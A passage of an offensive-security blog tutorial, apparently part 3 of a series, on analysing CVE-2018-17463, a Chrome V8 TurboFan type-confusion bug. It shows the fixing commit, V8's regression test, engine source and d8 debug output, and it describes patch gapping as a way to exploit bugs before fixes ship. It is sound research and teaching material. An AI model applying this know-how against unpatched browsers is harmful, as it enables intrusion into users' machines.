Jekyll2023-10-13T00:03:15+00:00https://jhalon.github.io/feed.xmlJack HacksOffensive Security Research, Blogs, and TutorialsJack Halonjacek.halon@gmail.comChrome Browser Exploitation, Part 3: Analyzing and Exploiting CVE-2018-174632022-12-29T00:00:00+00:002022-12-29T00:00:00+00:00https://jhalon.github.io/chrome-browser-exploitation-3<p>Welcome to the third and final installment of the “Chrome Browser Exploitation” series. The main objective of this series has been to provide an introduction to browser internals and delve into the topic of Chrome browser exploitation on Windows in greater depth.</p>
<p>In <a href="https://jhalon.github.io/chrome-browser-exploitation-1/">Part 1</a> of the series, we examined the inner workings of JavaScript and V8. This included an exploration of objects, maps, and shapes, as well as an overview of memory optimization techniques such as pointer tagging and pointer compression.</p>
<p>In <a href="https://jhalon.github.io/chrome-browser-exploitation-2/">Part 2</a> of the series, we took a more in-depth look at the V8 compiler pipeline. We examined the role of Ignition, Sparkplug, and TurboFan in the pipeline and covered topics such as V8’s bytecode, code compilation, and code optimization.</p>
<p>In today’s blog post, we will be focusing on the analysis and exploitation of <a href="https://chromereleases.googleblog.com/2018/10/stable-channel-update-for-desktop.html">CVE-2018-17463</a> which was a JIT Compiler Vulnerability in TurboFan. This vulnerability arose from the improper side-effect modeling of the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/compiler/js-create-lowering.cc;l=1342?q=JSCreateObject%20&ss=chromium%2Fchromium%2Fsrc"><code class="language-plaintext highlighter-rouge">JSCreateObject</code></a> operation during the lowering optimization phase. Before we delve into exploiting this bug, we will first learn about fundamental browser exploitation primitives, such as <code class="language-plaintext highlighter-rouge">addrOf</code> and <code class="language-plaintext highlighter-rouge">fakeObj</code>, and how we can use our bug to exploit type confusions.</p>
<p class="notice--warning"><strong>Warning</strong>: Please be aware that this blog post is a detailed, in-depth read, as it goes through the exploitation process step by step. As such, it is a very heavy read. If you only want to read a specific part of the blog, there is a table of contents provided for your convenience.</p>
<aside class="sidebar__right">
<nav class="toc">
<header><h4 class="nav__title"><i class="fa fa-file-text"></i> Index</h4></header>
<ul class="toc__menu" id="markdown-toc">
<li><a href="#understanding-patch-gapping" id="markdown-toc-understanding-patch-gapping">Understanding Patch Gapping</a></li>
<li><a href="#root-cause-analysis-of-cve-2018-17463" id="markdown-toc-root-cause-analysis-of-cve-2018-17463">Root Cause Analysis of CVE-2018-17463</a></li>
<li><a href="#setting-up-our-environment" id="markdown-toc-setting-up-our-environment">Setting Up Our Environment</a></li>
<li><a href="#generating-a-proof-of-concept" id="markdown-toc-generating-a-proof-of-concept">Generating a Proof of Concept</a></li>
<li><a href="#exploiting-a-type-confusion-for-jscreateobject" id="markdown-toc-exploiting-a-type-confusion-for-jscreateobject">Exploiting a Type Confusion for <code class="language-plaintext highlighter-rouge">JSCreateObject</code></a></li>
<li><a href="#understanding-browser-exploit-primitives" id="markdown-toc-understanding-browser-exploit-primitives">Understanding Browser Exploit Primitives</a> <ul>
<li><a href="#the-addrof-read-primitive" id="markdown-toc-the-addrof-read-primitive">The <code class="language-plaintext highlighter-rouge">addrOf</code> Read Primitive</a></li>
<li><a href="#the-fakeobj-write-primitive" id="markdown-toc-the-fakeobj-write-primitive">The <code class="language-plaintext highlighter-rouge">fakeObj</code> Write Primitive</a></li>
</ul>
</li>
<li><a href="#gaining-memory-read--write" id="markdown-toc-gaining-memory-read--write">Gaining Memory Read + Write</a></li>
<li><a href="#gaining-code-execution" id="markdown-toc-gaining-code-execution">Gaining Code Execution</a> <ul>
<li><a href="#basic-webassembly-internals" id="markdown-toc-basic-webassembly-internals">Basic WebAssembly Internals</a></li>
<li><a href="#abusing-webassembly-memory" id="markdown-toc-abusing-webassembly-memory">Abusing WebAssembly Memory</a></li>
</ul>
</li>
<li><a href="#closing" id="markdown-toc-closing">Closing</a></li>
<li><a href="#kudos" id="markdown-toc-kudos">Kudos</a></li>
<li><a href="#references" id="markdown-toc-references">References</a></li>
</ul>
</nav>
</aside>
<p>The following topics will be discussed in this post:</p>
<ul>
<li>Understanding Patch Gapping</li>
<li>Root Cause Analysis of CVE-2018-17463</li>
<li>Setting Up Our Environment</li>
<li>Generating a Proof of Concept</li>
<li>Exploiting a Type Confusion for <code class="language-plaintext highlighter-rouge">JSCreateObject</code></li>
<li>Understanding Browser Exploit Primitives
<ul>
<li>The <code class="language-plaintext highlighter-rouge">addrOf</code> Read Primitive</li>
<li>The <code class="language-plaintext highlighter-rouge">fakeObj</code> Write Primitive</li>
</ul>
</li>
<li>Gaining Memory Read + Write Access</li>
<li>Gaining Code Execution within V8
<ul>
<li>Basic WebAssembly Internals</li>
<li>Abusing WebAssembly Memory</li>
</ul>
</li>
</ul>
<p>Alright, with that being said, let’s jump in and do this!</p>
<h1 id="understanding-patch-gapping">Understanding Patch Gapping</h1>
<p>In September 2018, <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=888923">Issue 888923</a> was reported to Google’s Security Team through the Beyond Security’s SecuriTeam Secure Disclosure program. The bug was discovered by <a href="https://twitter.com/5aelo?lang=en">Samuel Gross</a> through source code review and was used as part of the <a href="https://ssd-disclosure.com/hack2win-extreme-warm-up/">Hack2Win</a> competition. A month after the bug was fixed, it was made public via an SSD Advisory titled “<a href="https://ssd-disclosure.com/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce/">Chrome Type Confusion in JSCreateObject Operation to RCE</a>” which provided some details about the bug and released a detailed proof of concept for its exploitation.</p>
<p>Within the same month, Samuel gave a talk at BlackHat 2018 called “<a href="https://www.youtube.com/watch?v=emt1yf2Fg9g">Attacking Client-Side JIT Compilers</a>” in which he discussed vulnerabilities in JIT compilers, particularly those related to redundancy elimination and the modeling of side effects within IR. It wasn’t until 2021 that Samuel released a Phrack article titled “<a href="http://phrack.org/issues/70/9.html#article">Exploiting Logic Bugs in JavaScript JIT Engines</a>” which provided a more in-depth explanation of how CVE-2018-17463 was discovered and exploited.</p>
<p>It’s worth noting that a significant amount of information about this bug was made public within a few weeks of its discovery. This means that attackers could have used this information to reverse engineer and exploit the bug. However, the issue with this is that most, if not all, Chrome browsers would have already been patched automatically within a few days or even weeks after the initial commit for the fix was pushed, rendering the bug useless.</p>
<p>Instead of relying on publicly available information about potential bugs, many attackers and exploit engineers track commits looking for specific keywords. When they find a commit that looks promising, they will try to figure out the underlying bug, a practice known as “<strong>patch gapping</strong>”.</p>
<p>As explained within <a href="https://twitter.com/exodusintel?lang=en">Exodus’s</a> post “<a href="https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/">Patch Gapping Google Chrome</a>” they detail patch-gapping as being “the practice of exploiting vulnerabilities in open-source software that are already fixed (or are in the process of being fixed) by the developers before the actual patch is shipped to users”.</p>
<p>Why is this relevant to our discussion of Chrome browser exploitation? Well, by understanding the concept of patch gapping it allows us to adopt more of an “adversary mindset.” After learning so much about the internals of V8, we now should have a good enough understanding to be able to spot a potential bug in Chrome’s code from an initial commit.</p>
<p>By taking this approach, we can widen the window of opportunity for exploiting a bug, as well as broaden our knowledge of Chrome’s codebase. Additionally, by observing locations in the code that are frequently patched, we can get a sense of where we should look for potential 0-day vulnerabilities in Chrome.</p>
<p>With that in mind, let’s begin our root analysis by looking at the initial commit that was pushed to fix the bug we’re examining. We’ll try to reverse engineer the fix and figure out how to trigger the bug using the knowledge we acquired. If we get stuck, we’ll use the already existing public resources to help us. After all, this is a journey through browser exploitation, and sometimes a journey is never an easy one!</p>
<h1 id="root-cause-analysis-of-cve-2018-17463">Root Cause Analysis of CVE-2018-17463</h1>
<p>Looking into <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=888923">Issue 888923</a> we can see that the initial patch for this bug was pushed with commit <code class="language-plaintext highlighter-rouge">52a9e67a477bdb67ca893c25c145ef5191976220</code> with the message of “[turbofan] Fix ObjectCreate’s side effect annotation”. Knowing this, let’s use the <code class="language-plaintext highlighter-rouge">git show</code> command within our V8 directory to see what that commit fixed.</p>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">C:\dev\v8\v8>git show 52a9e67a477bdb67ca893c25c145ef5191976220
commit 52a9e67a477bdb67ca893c25c145ef5191976220
Author: Jaroslav Sevcik <jarin@chromium.org>
Date: Wed Sep 26 13:23:47 2018 +0200
</span>
[turbofan] Fix ObjectCreate's side effect annotation.
Bug: chromium:888923
Change-Id: Ifb22cd9b34f53de3cf6e47cd92f3c0abeb10ac79
Reviewed-on: https://chromium-review.googlesource.com/1245763
Reviewed-by: Benedikt Meurer <bmeurer@chromium.org>
Commit-Queue: Jaroslav Sevcik <jarin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#56236}
diff --git a/src/compiler/js-operator.cc b/src/compiler/js-operator.cc
<span class="gh">index 94b018c987..5ed3f74e07 100644
</span><span class="gd">--- a/src/compiler/js-operator.cc
</span><span class="gi">+++ b/src/compiler/js-operator.cc
</span><span class="p">@@ -622,7 +622,7 @@</span> CompareOperationHint CompareOperationHintOf(const Operator* op) {
V(CreateKeyValueArray, Operator::kEliminatable, 2, 1) \
V(CreatePromise, Operator::kEliminatable, 0, 1) \
V(CreateTypedArray, Operator::kNoProperties, 5, 1) \
<span class="gd">- V(CreateObject, Operator::kNoWrite, 1, 1) \
</span><span class="gi">+ V(CreateObject, Operator::kNoProperties, 1, 1) \
</span> V(ObjectIsArray, Operator::kNoProperties, 1, 1) \
V(HasProperty, Operator::kNoProperties, 2, 1) \
V(HasInPrototypeChain, Operator::kNoProperties, 2, 1) \
<span class="gh">diff --git a/test/mjsunit/compiler/regress-888923.js b/test/mjsunit/compiler/regress-888923.js
</span><span class="p">new file mode 100644
</span><span class="gh">index 0000000000..e352673b7d
</span><span class="gd">--- /dev/null
</span><span class="gi">+++ b/test/mjsunit/compiler/regress-888923.js
</span><span class="p">@@ -0,0 +1,31 @@</span>
<span class="gi">+// Copyright 2018 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+(function() {
+ function f(o) {
+ o.x;
+ Object.create(o);
+ return o.y.a;
+ }
+
+ f({ x : 0, y : { a : 1 } });
+ f({ x : 0, y : { a : 2 } });
+ %OptimizeFunctionOnNextCall(f);
+ assertEquals(3, f({ x : 0, y : { a : 3 } }));
+})();
+
+(function() {
+ function f(o) {
+ let a = o.y;
+ Object.create(o);
+ return o.x + a;
+ }
+
+ f({ x : 42, y : 21 });
+ f({ x : 42, y : 21 });
+ %OptimizeFunctionOnNextCall(f);
+ assertEquals(63, f({ x : 42, y : 21 }));
+})();
</span></code></pre></div></div>
<p>Upon examining this commit, we can see that it only fixed a single line of code in the <code class="language-plaintext highlighter-rouge">src/compiler/js-operator.cc</code> file. The fix simply replaced the <code class="language-plaintext highlighter-rouge">Operator::kNoWrite</code> flag with the <code class="language-plaintext highlighter-rouge">Operator::kNoProperties</code> flag for the <code class="language-plaintext highlighter-rouge">CreateObject</code> JavaScript operation.</p>
<p>If you remember back in Part 2 of this series, we briefly discussed these flags and explained that they are used by intermediate representation (IR) operations. In this case, the <code class="language-plaintext highlighter-rouge">kNoWrite</code> flag indicates that the <code class="language-plaintext highlighter-rouge">CreateObject</code> operation will not have observable side effects, or in other words, observable changes to the execution of the context.</p>
<p>This poses a problem for the compiler. As we know, certain operations can have side effects that cause observable changes to the context. For example, if an object that was passed in had its object Map changed or modified - that’s an observable side effect that needs to be written to the chain of operations. Otherwise, certain optimization passes, such as redundancy elimination, may remove what the compiler believes is a “redundant” <code class="language-plaintext highlighter-rouge">CheckMap</code> operation when in reality it was a required check. Essentially this can lead to a type confusion vulnerability.</p>
<p>So let’s validate if the <code class="language-plaintext highlighter-rouge">CreateObject</code> function does in fact have an observable side-effect.</p>
<p>To determine whether an IR operation has side effects, we need to look at the lowering phase of the optimizing compiler. This phase converts high-level IR operations into lower-level instructions for JIT compilation and is also where redundancy elimination occurs.</p>
<p>For the <code class="language-plaintext highlighter-rouge">CreateObject</code> JavaScript operation, the lowering happens within the <a href="https://source.chromium.org/chromium/chromium/src/+/52a9e67a477bdb67ca893c25c145ef5191976220:v8/src/compiler/js-generic-lowering.cc;l=404"><code class="language-plaintext highlighter-rouge">v8/src/compiler/js-generic-lowering.cc</code></a> source file, specifically within the <code class="language-plaintext highlighter-rouge">LowerJSCreateObject</code> function.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="n">JSGenericLowering</span><span class="o">::</span><span class="n">LowerJSCreateObject</span><span class="p">(</span><span class="n">Node</span><span class="o">*</span> <span class="n">node</span><span class="p">)</span> <span class="p">{</span>
<span class="n">CallDescriptor</span><span class="o">::</span><span class="n">Flags</span> <span class="n">flags</span> <span class="o">=</span> <span class="n">FrameStateFlagForCall</span><span class="p">(</span><span class="n">node</span><span class="p">);</span>
<span class="n">Callable</span> <span class="n">callable</span> <span class="o">=</span> <span class="n">Builtins</span><span class="o">::</span><span class="n">CallableFor</span><span class="p">(</span>
<span class="n">isolate</span><span class="p">(),</span> <span class="n">Builtins</span><span class="o">::</span><span class="n">kCreateObjectWithoutProperties</span><span class="p">);</span>
<span class="n">ReplaceWithStubCall</span><span class="p">(</span><span class="n">node</span><span class="p">,</span> <span class="n">callable</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Looking at lowering function, we can see that the <code class="language-plaintext highlighter-rouge">JSCreateObject</code> IR operation will be lowered to a call to the builtin function <code class="language-plaintext highlighter-rouge">CreateObjectWithoutProperties</code>, located within the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/builtins/object.tq;l=93"><code class="language-plaintext highlighter-rouge">v8/src/builtins/object.tq</code></a> source file.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">transitioning</span> <span class="n">builtin</span> <span class="n">CreateObjectWithoutProperties</span><span class="p">(</span><span class="n">implicit</span> <span class="n">context</span><span class="o">:</span> <span class="n">Context</span><span class="p">)(</span>
<span class="n">prototype</span><span class="o">:</span> <span class="n">JSAny</span><span class="p">)</span><span class="o">:</span> <span class="n">JSAny</span> <span class="p">{</span>
<span class="k">try</span> <span class="p">{</span>
<span class="n">let</span> <span class="n">map</span><span class="o">:</span> <span class="n">Map</span><span class="p">;</span>
<span class="n">let</span> <span class="n">properties</span><span class="o">:</span> <span class="n">NameDictionary</span><span class="o">|</span><span class="n">SwissNameDictionary</span><span class="o">|</span><span class="n">EmptyFixedArray</span><span class="p">;</span>
<span class="n">typeswitch</span> <span class="p">(</span><span class="n">prototype</span><span class="p">)</span> <span class="p">{</span>
<span class="k">case</span> <span class="p">(</span><span class="n">Null</span><span class="p">):</span> <span class="p">{</span>
<span class="n">map</span> <span class="o">=</span> <span class="o">*</span><span class="n">NativeContextSlot</span><span class="p">(</span>
<span class="n">ContextSlot</span><span class="o">::</span><span class="n">SLOW_OBJECT_WITH_NULL_PROTOTYPE_MAP</span><span class="p">);</span>
<span class="err">@</span><span class="k">if</span><span class="p">(</span><span class="n">V8_ENABLE_SWISS_NAME_DICTIONARY</span><span class="p">)</span> <span class="p">{</span>
<span class="n">properties</span> <span class="o">=</span>
<span class="n">AllocateSwissNameDictionary</span><span class="p">(</span><span class="n">kSwissNameDictionaryInitialCapacity</span><span class="p">);</span>
<span class="p">}</span>
<span class="err">@</span><span class="n">ifnot</span><span class="p">(</span><span class="n">V8_ENABLE_SWISS_NAME_DICTIONARY</span><span class="p">)</span> <span class="p">{</span>
<span class="n">properties</span> <span class="o">=</span> <span class="n">AllocateNameDictionary</span><span class="p">(</span><span class="n">kNameDictionaryInitialCapacity</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">case</span> <span class="p">(</span><span class="n">prototype</span><span class="p">:</span> <span class="n">JSReceiver</span><span class="p">)</span><span class="o">:</span> <span class="p">{</span>
<span class="n">properties</span> <span class="o">=</span> <span class="n">kEmptyFixedArray</span><span class="p">;</span>
<span class="k">const</span> <span class="n">objectFunction</span> <span class="o">=</span>
<span class="o">*</span><span class="n">NativeContextSlot</span><span class="p">(</span><span class="n">ContextSlot</span><span class="o">::</span><span class="n">OBJECT_FUNCTION_INDEX</span><span class="p">);</span>
<span class="n">map</span> <span class="o">=</span> <span class="n">UnsafeCast</span><span class="o"><</span><span class="n">Map</span><span class="o">></span><span class="p">(</span><span class="n">objectFunction</span><span class="p">.</span><span class="n">prototype_or_initial_map</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">prototype</span> <span class="o">!=</span> <span class="n">map</span><span class="p">.</span><span class="n">prototype</span><span class="p">)</span> <span class="p">{</span>
<span class="k">const</span> <span class="n">prototypeInfo</span> <span class="o">=</span> <span class="n">prototype</span><span class="p">.</span><span class="n">map</span><span class="p">.</span><span class="n">PrototypeInfo</span><span class="p">()</span> <span class="n">otherwise</span> <span class="n">Runtime</span><span class="p">;</span>
<span class="n">typeswitch</span> <span class="p">(</span><span class="n">prototypeInfo</span><span class="p">.</span><span class="n">object_create_map</span><span class="p">)</span> <span class="p">{</span>
<span class="k">case</span> <span class="p">(</span><span class="n">Undefined</span><span class="p">):</span> <span class="p">{</span>
<span class="k">goto</span> <span class="n">Runtime</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">case</span> <span class="p">(</span><span class="n">weak_map</span><span class="p">:</span> <span class="n">Weak</span><span class="o"><</span><span class="n">Map</span><span class="o">></span><span class="p">)</span><span class="o">:</span> <span class="p">{</span>
<span class="n">map</span> <span class="o">=</span> <span class="n">WeakToStrong</span><span class="p">(</span><span class="n">weak_map</span><span class="p">)</span> <span class="n">otherwise</span> <span class="n">Runtime</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">case</span> <span class="p">(</span><span class="n">JSAny</span><span class="p">):</span> <span class="p">{</span>
<span class="k">goto</span> <span class="n">Runtime</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">AllocateJSObjectFromMap</span><span class="p">(</span><span class="n">map</span><span class="p">,</span> <span class="n">properties</span><span class="p">);</span>
<span class="p">}</span> <span class="n">label</span> <span class="n">Runtime</span> <span class="n">deferred</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">runtime</span><span class="o">::</span><span class="n">ObjectCreate</span><span class="p">(</span><span class="n">prototype</span><span class="p">,</span> <span class="n">Undefined</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>There’s a lot of code within this function. We don’t need to understand it all, but to put it simply this function begins the process of creating a new object without properties. One interesting aspect of this function is the <a href="https://llvm.org/doxygen/classllvm_1_1TypeSwitch.html">typeswitch</a> for the object’s <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">prototype</a>.</p>
<p>The reason this is interesting for us is because of an optimization trick within V8. In JavaScript each object has a private property that holds a link to another object called a <strong>prototype</strong>. In simple term, a prototype is similar to a class in C++ where objects can inherit features from certain classes. That prototype object has its own prototype, and so does the prototype of the prototype, forming a “<strong>prototype chain</strong>” that continues until an object of the <code class="language-plaintext highlighter-rouge">null</code> value is reached.</p>
<p>I won’t go into too much detail on prototypes in this post, but you can read “<a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object Prototypes</a>” and “<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">Inheritance and the Prototype Chain</a>” for a better understanding of this concept. For now, let’s focus on the interesting optimization of prototypes in V8.</p>
<p>In V8, each prototype has a unique shape <strong>that is not shared with any other objects</strong>, specifically not with other prototypes. Whenever the prototype of an object is changed, <strong>a new shape</strong> is allocated for that prototype. I suggest reading “<a href="https://mathiasbynens.be/notes/prototypes">JavaScript Engine Fundamentals: Optimizing Prototypes</a>” for more information on this optimization.</p>
<p>Because of this, we want to play close attention to the code due to the fact that the optimization of prototypes is a side effect that could have consequences if not properly modeled.</p>
<p>In the end, the <code class="language-plaintext highlighter-rouge">CreateObjectWithoutProperties</code> function ends up calling the <code class="language-plaintext highlighter-rouge">ObjectCreate</code> function, which a C++ runtime builtin located in <code class="language-plaintext highlighter-rouge">v8/src/objects/js-objects.cc</code>. Back in the 2018 codebase this function was located within the <code class="language-plaintext highlighter-rouge">v8/src/objects.cc</code> file.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// 9.1.12 ObjectCreate ( proto [ , internalSlotsList ] )</span>
<span class="c1">// Notice: This is NOT 19.1.2.2 Object.create ( O, Properties )</span>
<span class="n">MaybeHandle</span><span class="o"><</span><span class="n">JSObject</span><span class="o">></span> <span class="n">JSObject</span><span class="o">::</span><span class="n">ObjectCreate</span><span class="p">(</span><span class="n">Isolate</span><span class="o">*</span> <span class="n">isolate</span><span class="p">,</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Object</span><span class="o">></span> <span class="n">prototype</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Generate the map with the specified {prototype} based on the Object</span>
<span class="c1">// function's initial map from the current native context.</span>
<span class="c1">// TODO(bmeurer): Use a dedicated cache for Object.create; think about</span>
<span class="c1">// slack tracking for Object.create.</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Map</span><span class="o">></span> <span class="n">map</span> <span class="o">=</span>
<span class="n">Map</span><span class="o">::</span><span class="n">GetObjectCreateMap</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">Handle</span><span class="o"><</span><span class="n">HeapObject</span><span class="o">>::</span><span class="n">cast</span><span class="p">(</span><span class="n">prototype</span><span class="p">));</span>
<span class="c1">// Actually allocate the object.</span>
<span class="k">return</span> <span class="n">isolate</span><span class="o">-></span><span class="n">factory</span><span class="p">()</span><span class="o">-></span><span class="n">NewFastOrSlowJSObjectFromMap</span><span class="p">(</span><span class="n">map</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Peeking into the <code class="language-plaintext highlighter-rouge">ObjectCreate</code> function we can see that this function generates a <strong>new map</strong> for the object based off our previous object’s prototype using the <code class="language-plaintext highlighter-rouge">GetObjectCreateMap</code> function, which is located in <code class="language-plaintext highlighter-rouge">v8/src/objects/map.cc</code>.</p>
<p>At this point we should already start seeing where the potential side-effects are within this JavaScript operator.</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// static</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Map</span><span class="o">></span> <span class="n">Map</span><span class="o">::</span><span class="n">GetObjectCreateMap</span><span class="p">(</span><span class="n">Isolate</span><span class="o">*</span> <span class="n">isolate</span><span class="p">,</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">HeapObject</span><span class="o">></span> <span class="n">prototype</span><span class="p">)</span> <span class="p">{</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">Map</span><span class="o">></span> <span class="n">map</span><span class="p">(</span><span class="n">isolate</span><span class="o">-></span><span class="n">native_context</span><span class="p">()</span><span class="o">-></span><span class="n">object_function</span><span class="p">().</span><span class="n">initial_map</span><span class="p">(),</span>
<span class="n">isolate</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">map</span><span class="o">-></span><span class="n">prototype</span><span class="p">()</span> <span class="o">==</span> <span class="o">*</span><span class="n">prototype</span><span class="p">)</span> <span class="k">return</span> <span class="n">map</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">prototype</span><span class="o">-></span><span class="n">IsNull</span><span class="p">(</span><span class="n">isolate</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="n">isolate</span><span class="o">-></span><span class="n">slow_object_with_null_prototype_map</span><span class="p">();</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">prototype</span><span class="o">-></span><span class="n">IsJSObject</span><span class="p">())</span> <span class="p">{</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">JSObject</span><span class="o">></span> <span class="n">js_prototype</span> <span class="o">=</span> <span class="n">Handle</span><span class="o"><</span><span class="n">JSObject</span><span class="o">>::</span><span class="n">cast</span><span class="p">(</span><span class="n">prototype</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">js_prototype</span><span class="o">-></span><span class="n">map</span><span class="p">().</span><span class="n">is_prototype_map</span><span class="p">())</span> <span class="p">{</span>
<span class="n">JSObject</span><span class="o">::</span><span class="n">OptimizeAsPrototype</span><span class="p">(</span><span class="n">js_prototype</span><span class="p">);</span> <span class="c1">// <== Side Effect</span>
<span class="p">}</span>
<span class="n">Handle</span><span class="o"><</span><span class="n">PrototypeInfo</span><span class="o">></span> <span class="n">info</span> <span class="o">=</span>
<span class="n">Map</span><span class="o">::</span><span class="n">GetOrCreatePrototypeInfo</span><span class="p">(</span><span class="n">js_prototype</span><span class="p">,</span> <span class="n">isolate</span><span class="p">);</span>
<span class="c1">// TODO(verwaest): Use inobject slack tracking for this map.</span>
<span class="k">if</span> <span class="p">(</span><span class="n">info</span><span class="o">-></span><span class="n">HasObjectCreateMap</span><span class="p">())</span> <span class="p">{</span>
<span class="n">map</span> <span class="o">=</span> <span class="n">handle</span><span class="p">(</span><span class="n">info</span><span class="o">-></span><span class="n">ObjectCreateMap</span><span class="p">(),</span> <span class="n">isolate</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">map</span> <span class="o">=</span> <span class="n">Map</span><span class="o">::</span><span class="n">CopyInitialMap</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">map</span><span class="p">);</span>
<span class="n">Map</span><span class="o">::</span><span class="n">SetPrototype</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">map</span><span class="p">,</span> <span class="n">prototype</span><span class="p">);</span>
<span class="n">PrototypeInfo</span><span class="o">::</span><span class="n">SetObjectCreateMap</span><span class="p">(</span><span class="n">info</span><span class="p">,</span> <span class="n">map</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">map</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">Map</span><span class="o">::</span><span class="n">TransitionToPrototype</span><span class="p">(</span><span class="n">isolate</span><span class="p">,</span> <span class="n">map</span><span class="p">,</span> <span class="n">prototype</span><span class="p">);</span> <span class="c1">// <== Side Effect</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Within the <code class="language-plaintext highlighter-rouge">GetObjectCreateMap</code> function, we can see two interesting calls to <code class="language-plaintext highlighter-rouge">JSObject::OptimizeAsPrototype</code> and <code class="language-plaintext highlighter-rouge">Map::TransitionToPrototype</code>. This is interesting for us because this code implies and further confirms that the newly created object is converted to a prototype object, which also changes the object’s associated map.</p>
<p>Knowing this, let’s jump into <code class="language-plaintext highlighter-rouge">d8</code> and validate that the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create"><code class="language-plaintext highlighter-rouge">Object.create</code></a> function does indeed modify an object and the map in some way that can be exploitable to us. To start, let’s launch <code class="language-plaintext highlighter-rouge">d8</code> with the <code class="language-plaintext highlighter-rouge">--allow-natives-syntax</code> options and create a new object, like so.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span><span class="mi">13</span><span class="p">};</span>
</code></pre></div></div>
<p>From here, let’s execute the <code class="language-plaintext highlighter-rouge">%DebugPrint</code> function against our object to see its map and associated properties.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> %DebugPrint(obj)
DebugPrint: 000002A50010A505: [JS_OBJECT_TYPE]
- map: 0x02a5002596f5 <Map[16](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x02a500244669 <Object map = 000002A500243D25>
- elements: 0x02a500002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x02a500002259 <FixedArray[0]>
- All own properties (excluding elements): {
000002A5000041ED: [String] in ReadOnlySpace: #x: 13 (const data field 0), location: in-object
}
000002A5002596F5: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 16
- inobject properties: 1
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x02a5002596cd <Map[16](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x02a5002043cd <Cell value= 1>
- instance descriptors (own) #1: 0x02a50010a515 <DescriptorArray[1]>
- prototype: 0x02a500244669 <Object map = 000002A500243D25>
- constructor: 0x02a50024422d <JSFunction Object (sfi = 000002A50021BA25)>
- dependent code: 0x02a5000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
</code></pre></div></div>
<p>From initial review of the output, we can see that the map of the object is that of <code class="language-plaintext highlighter-rouge">FastProperties</code> which corresponds to our object having in-object properties. Now, let’s execute the <code class="language-plaintext highlighter-rouge">Object.create</code> function against our object, and print out its debug information.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> Object.create(obj)
d8> %DebugPrint(obj)
DebugPrint: 000002A50010A505: [JS_OBJECT_TYPE]
- map: 0x02a50025a9c9 <Map[16](HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x02a500244669 <Object map = 000002A500243D25>
- elements: 0x02a500002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x02a50010c339 <NameDictionary[17]>
- All own properties (excluding elements): {
x: 13 (data, dict_index: 1, attrs: [WEC])
}
000002A50025A9C9: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 16
- inobject properties: 1
